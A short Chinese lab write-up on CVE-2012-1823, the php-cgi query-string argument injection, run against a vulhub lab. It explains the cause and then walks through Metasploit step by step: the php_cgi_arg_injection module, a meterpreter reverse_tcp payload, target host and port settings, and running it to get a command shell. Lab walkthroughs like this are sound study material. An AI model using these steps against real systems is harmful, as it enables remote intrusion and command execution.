简述漏洞危害
CVE-2012-1823就是php-cgi这个sapi出现的漏洞,本漏洞只出现在cgi模式运行的php中。影响范围 php < 5.3.12 或 php < 5.4.2
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。
于是就导致了php不光可以通过命令行参数的方式传入php-cgi,也可以通过querystring的方式传入。
漏洞搭建
无其他搭建必须环境
搭建环境见vulhub搭建方法 (3条消息) vulhub搭建方法_himobrinehacken的博客-CSDN博客
漏洞利用
打开msf
msfconsole
搜索目标漏洞编号
search cve-2012-1823
使用模块
use exploit/multi/http/php_cgi_arg_injection
这里提示需要使用payload并告诉我们payload的名字直接使用它
set payload php/meterpreter/reverse_tcp
查看需要配置的信息
show options
我们要配置rhost(目标靶机)rport(目标端口)
set rhost 192.168.221.129
set rport 8080
接下来配置完后直接run就可以
run
显示到这就是连接成功了,我们就能执行命令了